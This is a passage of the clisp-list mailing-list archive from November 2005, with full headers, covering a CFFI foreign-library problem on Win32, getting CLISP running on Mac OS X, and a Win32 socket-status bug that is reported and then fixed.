cross-device link $ Peace --Devon /~\ \ / Health Care X not warfare / \ Dubya won the digital vote Kerry won the popular vote From taube@uiuc.edu Sat Nov 26 10:52:00 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Eg59T-0001Ei-2N for clisp-list@lists.sourceforge.net; Sat, 26 Nov 2005 10:51:59 -0800 Received: from smtp103.sbc.mail.mud.yahoo.com ([68.142.198.202]) by mail.sourceforge.net with smtp (Exim 4.44) id 1Eg59Q-0004pZ-Fz for clisp-list@lists.sourceforge.net; Sat, 26 Nov 2005 10:51:59 -0800 Received: (qmail 25894 invoked from network); 26 Nov 2005 18:51:49 -0000 Received: from unknown (HELO ?10.0.1.3?) (rick.taube@sbcglobal.net@70.225.179.173 with plain) by smtp103.sbc.mail.mud.yahoo.com with SMTP; 26 Nov 2005 18:51:49 -0000 Mime-Version: 1.0 (Apple Message framework v623) Content-Transfer-Encoding: 7bit Message-Id: <694466c775ba89f1b95803bd1305eb5a@uiuc.edu> Content-Type: text/plain; charset=US-ASCII; format=flowed To: CLISP List From: Rick Taube X-Mailer: Apple Mail (2.623) X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] clisp/win32 and (ffi::foreign-library :default) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Nov 26 10:52:09 2005 X-Original-Date: Sat, 26 Nov 2005 12:51:48 -0600 hi, I have a CFFI interface to Portmidi that works great in CLISP 3.35/OSX and Im trying to get it working on CLISP 3.35/WIN32 too. However, im having a problem because (ffi::foreign-library :default) is returning a null foreign pointer even though CFFI:LOAD-FOREIGN-LIBRARY is returning a valid pointer to the library when the library is loaded. Any ideas what is going wrong or how i can fix it? Im using the binary CLISP release from sourceforge. --rick taube From sds@gnu.org Sat Nov 26 15:02:26 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Eg93q-0004mV-O4 for clisp-list@lists.sourceforge.net; Sat, 26 Nov 2005 15:02:26 -0800 Received: from smtp01.mrf.mail.rcn.net ([207.172.4.61]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Eg93n-0005xS-E6 for clisp-list@lists.sourceforge.net; Sat, 26 Nov 2005 15:02:26 -0800 Received: from 65-78-14-10.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com (HELO WINSTEINGOLDLAP) ([65.78.14.10]) by smtp01.mrf.mail.rcn.net with ESMTP; 26 Nov 2005 18:01:22 -0500 X-IronPort-AV: i="3.97,380,1125892800"; d="scan'208"; a="133900421:sNHT170733644" To: clisp-list@lists.sourceforge.net, pete boardman Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <10263F26-D414-4C20-A9CD-1F45475C1E4F@pobox.com> (pete boardman's message of "Fri, 25 Nov 2005 12:32:19 +0000") References: <10263F26-D414-4C20-A9CD-1F45475C1E4F@pobox.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, pete boardman Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: Help getting started on MacOS X 10.4 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Nov 26 15:03:01 2005 X-Original-Date: Sat, 26 Nov 2005 18:00:12 -0500 > * pete boardman [2005-11-25 12:32:19 +0000]: > >> make install > > Here I'm stuck... What do I have to do? If I type it, I get this: > > $ make install > -bash: make: command not found you still have base/lisp.run, base/lispinit.mem, full/lisp.run, full/lispinit.mem, right? that's all you need to run CLISP - the rest is just sugar. invoke the base linking set as path/to-clisp/base/lisp.run -B path/to-clisp -M path/to-clisp/base/lispinit.mem and the full linking set as path/to-clisp/full/lisp.run -B path/to-clisp -M path/to-clisp/full/lispinit.mem you can create a shortcut (batch script or whatever it is called on MacOS). see http://clisp.cons.org/impnotes/modules.html#base-modules http://clisp.cons.org/impnotes/modules.html#linkset http://clisp.cons.org/impnotes/clisp.html#opt-link-set -- Sam Steingold (http://www.podval.org/~sds) running w2k http://www.honestreporting.com http://www.memri.org/ http://www.jihadwatch.org/ http://www.camera.org http://www.mideasttruth.com/ http://www.iris.org.il MS Windows vs IBM OS/2: Why marketing matters more than technology... From sds@gnu.org Sat Nov 26 15:02:28 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Eg93s-0004mc-Co for clisp-list@lists.sourceforge.net; Sat, 26 Nov 2005 15:02:28 -0800 Received: from smtp01.mrf.mail.rcn.net ([207.172.4.61]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Eg93r-0005xS-4W for clisp-list@lists.sourceforge.net; Sat, 26 Nov 2005 15:02:28 -0800 Received: from 65-78-14-10.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com (HELO WINSTEINGOLDLAP) ([65.78.14.10]) by smtp01.mrf.mail.rcn.net with ESMTP; 26 Nov 2005 18:02:17 -0500 X-IronPort-AV: i="3.97,380,1125892800"; d="scan'208"; a="133900661:sNHT23285340" To: clisp-list@lists.sourceforge.net, Rick Taube Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <694466c775ba89f1b95803bd1305eb5a@uiuc.edu> (Rick Taube's message of "Sat, 26 Nov 2005 12:51:48 -0600") References: <694466c775ba89f1b95803bd1305eb5a@uiuc.edu> Mail-Followup-To: clisp-list@lists.sourceforge.net, Rick Taube Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: clisp/win32 and (ffi::foreign-library :default) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Nov 26 15:03:03 2005 X-Original-Date: Sat, 26 Nov 2005 18:01:07 -0500 > * Rick Taube [2005-11-26 12:51:48 -0600]: > > hi, I have a CFFI interface to Portmidi that works great in CLISP > 3.35/OSX and Im trying to get it working on CLISP 3.35/WIN32 > too. However, im having a problem because (ffi::foreign-library > :default) is returning a null foreign pointer even though > CFFI:LOAD-FOREIGN-LIBRARY is returning a valid pointer to the library > when the library is loaded. Any ideas what is going wrong or how i can > fix it? Im using the binary CLISP release from sourceforge. why are you calling (ffi::foreign-library ...) explicitly? def-call-out and def-c-var will call it for you. -- Sam Steingold (http://www.podval.org/~sds) running w2k http://ffii.org/ http://www.memri.org/ http://truepeace.org http://www.palestinefacts.org/ http://pmw.org.il/ The world will end in 5 minutes. Please log out. From vasilism@hotmail.com Sat Nov 26 15:51:30 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Eg9pK-00073F-Df for clisp-list@lists.sourceforge.net; Sat, 26 Nov 2005 15:51:30 -0800 Received: from bay17-f28.bay17.hotmail.com ([64.4.43.78] helo=hotmail.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Eg9pI-0001il-3T for clisp-list@lists.sourceforge.net; Sat, 26 Nov 2005 15:51:30 -0800 Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Sat, 26 Nov 2005 15:51:22 -0800 Message-ID: Received: from 81.186.170.87 by by17fd.bay17.hotmail.msn.com with HTTP; Sat, 26 Nov 2005 23:51:22 GMT X-Originating-IP: [81.186.170.87] X-Originating-Email: [vasilism@hotmail.com] X-Sender: vasilism@hotmail.com From: "Vasilis M." To: clisp-list@lists.sourceforge.net Bcc: Mime-Version: 1.0 Content-Type: text/plain; format=flowed X-OriginalArrivalTime: 26 Nov 2005 23:51:22.0929 (UTC) FILETIME=[4E413A10:01C5F2E4] X-Spam-Score: 0.2 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 MSGID_FROM_MTA_HEADER Message-Id was added by a relay 0.2 UPPERCASE_25_50 message body is 25-50% uppercase Subject: [clisp-list] socket-status (internal error) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Nov 26 15:52:02 2005 X-Original-Date: Sat, 26 Nov 2005 23:51:22 +0000 (defun socket-status-internal-error () (let* ((server (socket-server 9090)) (client (socket-connect 9090 "localhost" :timeout 0 :buffered nil)) (socket (socket-accept server :buffered nil))) (write-char #\a client) (print (socket-status (cons socket :input) 0)) (print (read-char socket)) (print (socket-status (cons socket :input) 0)) (close client) (print 'before-error) (force-output) (print (socket-status (cons socket :input) 0)))) CL-USER> (lisp-implementation-version) "2.34 (2005-07-20) (built on winsteingoldlap.ad.alphatech.com [10.41.52.183])" CL-USER> *features* (:DIRKEY :RAWSOCK :REGEXP :SYSCALLS :I18N :LOOP :COMPILER :CLOS :MOP :CLISP :ANSI-CL :COMMON-LISP :LISP=CL :INTERPRETER :SOCKETS :GENERIC-STREAMS :LOGICAL-PATHNAMES :SCREEN :FFI :UNICODE :BASE-CHAR=CHARACTER :PC386 :WIN32) CL-USER> (posix:version) # CL-USER> (socket-status-internal-error) :INPUT #\a NIL BEFORE-ERROR Internal error: statement in file "stream.d", line 13361 has been reached!! Please send the authors of the program a description how you produced this error! [Condition of type SYSTEM::SIMPLE-SERIOUS-CONDITION] _________________________________________________________________ Express yourself instantly with MSN Messenger! Download today it's FREE! http://messenger.msn.click-url.com/go/onm00200471ave/direct/01/ From taube@uiuc.edu Sat Nov 26 16:05:27 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EgA2p-0007Wi-6C for clisp-list@lists.sourceforge.net; Sat, 26 Nov 2005 16:05:27 -0800 Received: from smtp113.sbc.mail.mud.yahoo.com ([68.142.198.212]) by mail.sourceforge.net with smtp (Exim 4.44) id 1EgA2m-0001kf-SW for clisp-list@lists.sourceforge.net; Sat, 26 Nov 2005 16:05:27 -0800 Received: (qmail 82049 invoked from network); 27 Nov 2005 00:05:18 -0000 Received: from unknown (HELO ?10.0.1.3?) (rick.taube@sbcglobal.net@70.225.179.173 with plain) by smtp113.sbc.mail.mud.yahoo.com with SMTP; 27 Nov 2005 00:05:18 -0000 Mime-Version: 1.0 (Apple Message framework v623) In-Reply-To: References: <694466c775ba89f1b95803bd1305eb5a@uiuc.edu> Content-Type: text/plain; charset=US-ASCII; format=flowed Message-Id: <0d62f3b512264fcbd06023193463a44e@uiuc.edu> Content-Transfer-Encoding: 7bit From: Rick Taube Subject: Re: [clisp-list] Re: clisp/win32 and (ffi::foreign-library :default) To: clisp-list@lists.sourceforge.net X-Mailer: Apple Mail (2.623) X-Spam-Score: 0.2 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 UPPERCASE_25_50 message body is 25-50% uppercase Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Nov 26 16:06:02 2005 X-Original-Date: Sat, 26 Nov 2005 18:05:17 -0600 > why are you calling (ffi::foreign-library ...) explicitly? > def-call-out and def-c-var will call it for you. Im not calling it explicitly, CFFI (cffi-luis-051114-1956) expands to it, for whatever reason. This is my code: (cffi:defcfun ("Pm_Initialize" pm-initialize) pm-error) Macroexpanding it (on my osx machine where i am now) gives me: (macroexpand '(cffi:defcfun ("Pm_Initialize" pm-initialize) pm-error)) ==> (PROGN NIL (DEFUN PM-INITIALIZE NIL (CFFI::TRANSLATE-OBJECTS NIL NIL NIL PM-ERROR (CFFI-SYS:%FOREIGN-FUNCALL "Pm_Initialize" :INT)))) and then (macroexpand '(CFFI-SYS:%FOREIGN-FUNCALL "Pm_Initialize" :INT)) ==> (FUNCALL (LOAD-TIME-VALUE (FFI::FOREIGN-LIBRARY-FUNCTION "Pm_Initialize" (FFI::FOREIGN-LIBRARY :DEFAULT) NIL (FFI:PARSE-C-TYPE '(FFI:C-FUNCTION (:ARGUMENTS) (:RETURN-TYPE FFI:INT) (:LANGUAGE :STDC)))))) as i say it works on OSX. But I might also be having problems with the portmidi.dll itself. --rick From sds@gnu.org Sat Nov 26 16:52:29 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EgAmK-0001PH-UV for clisp-list@lists.sourceforge.net; Sat, 26 Nov 2005 16:52:28 -0800 Received: from smtp01.mrf.mail.rcn.net ([207.172.4.61]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EgAmI-0001EV-MY for clisp-list@lists.sourceforge.net; Sat, 26 Nov 2005 16:52:29 -0800 Received: from 65-78-14-10.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com (HELO WINSTEINGOLDLAP) ([65.78.14.10]) by smtp01.mrf.mail.rcn.net with ESMTP; 26 Nov 2005 19:52:26 -0500 X-IronPort-AV: i="3.97,380,1125892800"; d="scan'208"; a="133932907:sNHT890611280" To: clisp-list@lists.sourceforge.net, Rick Taube Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <0d62f3b512264fcbd06023193463a44e@uiuc.edu> (Rick Taube's message of "Sat, 26 Nov 2005 18:05:17 -0600") References: <694466c775ba89f1b95803bd1305eb5a@uiuc.edu> <0d62f3b512264fcbd06023193463a44e@uiuc.edu> Mail-Followup-To: clisp-list@lists.sourceforge.net, Rick Taube Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.2 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 UPPERCASE_25_50 message body is 25-50% uppercase Subject: [clisp-list] Re: clisp/win32 and (ffi::foreign-library :default) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Nov 26 16:53:01 2005 X-Original-Date: Sat, 26 Nov 2005 19:51:14 -0500 > * Rick Taube [2005-11-26 18:05:17 -0600]: > > (FUNCALL > (LOAD-TIME-VALUE > (FFI::FOREIGN-LIBRARY-FUNCTION "Pm_Initialize" (FFI::FOREIGN-LIBRARY > :DEFAULT) NIL > (FFI:PARSE-C-TYPE > '(FFI:C-FUNCTION (:ARGUMENTS) (:RETURN-TYPE FFI:INT) (:LANGUAGE > :STDC)))))) > > as i say it works on OSX. But I might also be having problems with the > portmidi.dll itself. I would expect to see "portmidi.dll" instead of :default I think you should try to talk to the cffi people -- Sam Steingold (http://www.podval.org/~sds) running w2k http://www.openvotingconsortium.org/ http://www.camera.org http://pmw.org.il/ http://truepeace.org http://www.iris.org.il http://www.dhimmi.com/ You think Oedipus had a problem -- Adam was Eve's mother. From sds@gnu.org Sat Nov 26 17:57:08 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EgBmm-0006x4-9S for clisp-list@lists.sourceforge.net; Sat, 26 Nov 2005 17:57:00 -0800 Received: from smtp01.mrf.mail.rcn.net ([207.172.4.61]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EgBmi-0002W4-Tc for clisp-list@lists.sourceforge.net; Sat, 26 Nov 2005 17:57:00 -0800 Received: from 65-78-14-10.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com (HELO WINSTEINGOLDLAP) ([65.78.14.10]) by smtp01.mrf.mail.rcn.net with ESMTP; 26 Nov 2005 20:56:55 -0500 X-IronPort-AV: i="3.97,380,1125892800"; d="scan'208"; a="133952209:sNHT21955708" To: clisp-list@lists.sourceforge.net, "Vasilis M." Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (Vasilis M.'s message of "Sat, 26 Nov 2005 23:51:22 +0000") References: Mail-Followup-To: clisp-list@lists.sourceforge.net, "Vasilis M." Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: socket-status (internal error) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Nov 26 17:58:03 2005 X-Original-Date: Sat, 26 Nov 2005 20:55:45 -0500 > * Vasilis M. [2005-11-26 23:51:22 +0000]: > > Internal error: statement in file "stream.d", line 13361 has been reached!! > Please send the authors of the program a description how you produced > this error! Thank you very much for a _perfect_ bug report! the bug (woe32-specific) has now been fixed in the CVS head. -- Sam Steingold (http://www.podval.org/~sds) running w2k http://www.camera.org http://pmw.org.il/ http://www.iris.org.il http://truepeace.org http://www.honestreporting.com http://www.jihadwatch.org/ Bill Gates is great, as long as `bill' is a verb. From pete.boardman@pobox.com Sun Nov 27 04:56:17 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EgM4l-0005kY-JA for clisp-list@lists.sourceforge.net; Sun, 27 Nov 2005 04:56:15 -0800 Received: from thorn.pobox.com ([208.210.124.75]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EgM4k-0004Pv-8L for clisp-list@lists.sourceforge.net; Sun, 27 Nov 2005 04:56:15 -0800 Received: from thorn (localhost [127.0.0.1]) by thorn.pobox.com (Postfix) with ESMTP id 0D386E3 for ; Sun, 27 Nov 2005 07:56:32 -0500 (EST) Received: from [10.0.1.3] (unknown [217.205.244.71]) by thorn.sasl.smtp.pobox.com (Postfix) with ESMTP id 67AEAFD7 for ; Sun, 27 Nov 2005 07:56:31 -0500 (EST) Mime-Version: 1.0 (Apple Message framework v734) In-Reply-To: References: <10263F26-D414-4C20-A9CD-1F45475C1E4F@pobox.com> Content-Type: text/plain; charset=US-ASCII; delsp=yes; format=flowed Message-Id: <10D84ED5-DFB5-4CD4-AF07-90802AF4DE17@pobox.com> Content-Transfer-Encoding: 7bit From: pete boardman To: clisp-list@lists.sourceforge.net X-Mailer: Apple Mail (2.734) X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: Help getting started on MacOS X 10.4 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Nov 27 04:57:01 2005 X-Original-Date: Sun, 27 Nov 2005 12:57:17 +0000 On 26 Nov 2005, at 23:00, Sam Steingold wrote: > you still have base/lisp.run, base/lispinit.mem, full/lisp.run, > full/lispinit.mem, right? > > that's all you need to run CLISP - the rest is just sugar. Thanks! Pete (Decided to re-learn Lisp after 10 years - didn't realise how much else I didn't know... :-) From taube@uiuc.edu Sun Nov 27 07:26:48 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EgOQL-0000JJ-MY for clisp-list@lists.sourceforge.net; Sun, 27 Nov 2005 07:26:41 -0800 Received: from smtp102.sbc.mail.mud.yahoo.com ([68.142.198.201]) by mail.sourceforge.net with smtp (Exim 4.44) id 1EgOQK-00074Z-0L for clisp-list@lists.sourceforge.net; Sun, 27 Nov 2005 07:26:41 -0800 Received: (qmail 67294 invoked from network); 27 Nov 2005 15:26:34 -0000 Received: from unknown (HELO ?10.0.1.3?) (rick.taube@sbcglobal.net@70.225.179.173 with plain) by smtp102.sbc.mail.mud.yahoo.com with SMTP; 27 Nov 2005 15:26:34 -0000 Mime-Version: 1.0 (Apple Message framework v623) In-Reply-To: References: <694466c775ba89f1b95803bd1305eb5a@uiuc.edu> <0d62f3b512264fcbd06023193463a44e@uiuc.edu> Content-Type: text/plain; charset=US-ASCII; format=flowed Message-Id: <4a59b9f7988c1fbf6dd54a9c25b84d70@uiuc.edu> Content-Transfer-Encoding: 7bit From: Rick Taube To: clisp-list@lists.sourceforge.net X-Mailer: Apple Mail (2.623) X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: clisp/win32 and (ffi::foreign-library :default) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Nov 27 07:27:05 2005 X-Original-Date: Sun, 27 Nov 2005 09:26:33 -0600 > I would expect to see "portmidi.dll" instead of :default > I think you should try to talk to the cffi people ok thanks, ill do that. best, Rick From lisp-clisp-list@m.gmane.org Sun Nov 27 09:51:54 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EgQgp-0006sn-Ky for clisp-list@lists.sourceforge.net; Sun, 27 Nov 2005 09:51:51 -0800 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1EgQgn-0007W0-PE for clisp-list@lists.sourceforge.net; Sun, 27 Nov 2005 09:51:51 -0800 Received: from root by ciao.gmane.org with local (Exim 4.43) id 1EgQfg-0008Fn-4l for clisp-list@lists.sourceforge.net; Sun, 27 Nov 2005 18:50:40 +0100 Received: from cm-213-228-188-67.netvisao.pt ([213.228.188.67]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Sun, 27 Nov 2005 18:50:40 +0100 Received: from luismbo by cm-213-228-188-67.netvisao.pt with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Sun, 27 Nov 2005 18:50:40 +0100 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: =?utf-8?Q?Lu=C3=ADs?= Oliveira Lines: 29 Message-ID: References: <694466c775ba89f1b95803bd1305eb5a@uiuc.edu> <0d62f3b512264fcbd06023193463a44e@uiuc.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: 8bit X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: cm-213-228-188-67.netvisao.pt User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (darwin) Cancel-Lock: sha1:cWcm6IaPZzNMARGL9Vp78YsUgkE= X-Spam-Score: 0.2 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 UPPERCASE_25_50 message body is 25-50% uppercase Subject: [clisp-list] Re: clisp/win32 and (ffi::foreign-library :default) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Nov 27 09:52:03 2005 X-Original-Date: Sun, 27 Nov 2005 17:41:42 +0000 Hello, Sam Steingold writes: >> (FUNCALL >> (LOAD-TIME-VALUE >> (FFI::FOREIGN-LIBRARY-FUNCTION "Pm_Initialize" (FFI::FOREIGN-LIBRARY >> :DEFAULT) NIL >> (FFI:PARSE-C-TYPE >> '(FFI:C-FUNCTION (:ARGUMENTS) (:RETURN-TYPE FFI:INT) (:LANGUAGE >> :STDC)))))) >> >> as i say it works on OSX. But I might also be having problems with the >> portmidi.dll itself. > > I would expect to see "portmidi.dll" instead of :default > I think you should try to talk to the cffi people We use :default there because the library name is not passed to CFFI:DEFCFUN, in a similar way to pretty much every other FFI. I suppose this will have to change if we want to support CLISP's non-dynamic FFI. Rick, can you send a testcase to CFFI mailing list perhaps along with the results of running CFFI's testsuite? -- Luís Oliveira luismbo (@) gmail (.) com Equipa Portuguesa do Translation Project http://www.iro.umontreal.ca/translation/registry.cgi?team=pt From sds@gnu.org Sun Nov 27 10:09:32 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EgQxs-0007lk-1w for clisp-list@lists.sourceforge.net; Sun, 27 Nov 2005 10:09:28 -0800 Received: from smtp01.mrf.mail.rcn.net ([207.172.4.61]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EgQxo-0006FD-Dt for clisp-list@lists.sourceforge.net; Sun, 27 Nov 2005 10:09:27 -0800 Received: from 65-78-14-10.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com (HELO WINSTEINGOLDLAP) ([65.78.14.10]) by smtp01.mrf.mail.rcn.net with ESMTP; 27 Nov 2005 13:09:23 -0500 X-IronPort-AV: i="3.97,381,1125892800"; d="scan'208"; a="134223411:sNHT25082080" To: clisp-list@lists.sourceforge.net, =?utf-8?Q?Lu=C3=ADs?= Oliveira Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (=?utf-8?Q?Lu=C3=ADs?= Oliveira's message of "Sun, 27 Nov 2005 17:41:42 +0000") References: <694466c775ba89f1b95803bd1305eb5a@uiuc.edu> <0d62f3b512264fcbd06023193463a44e@uiuc.edu> Mail-Followup-To: clisp-list@lists.sourceforge.net, =?utf-8?Q?Lu=C3=ADs?= Oliveira Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: quoted-printable X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: clisp/win32 and (ffi::foreign-library :default) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Nov 27 10:10:07 2005 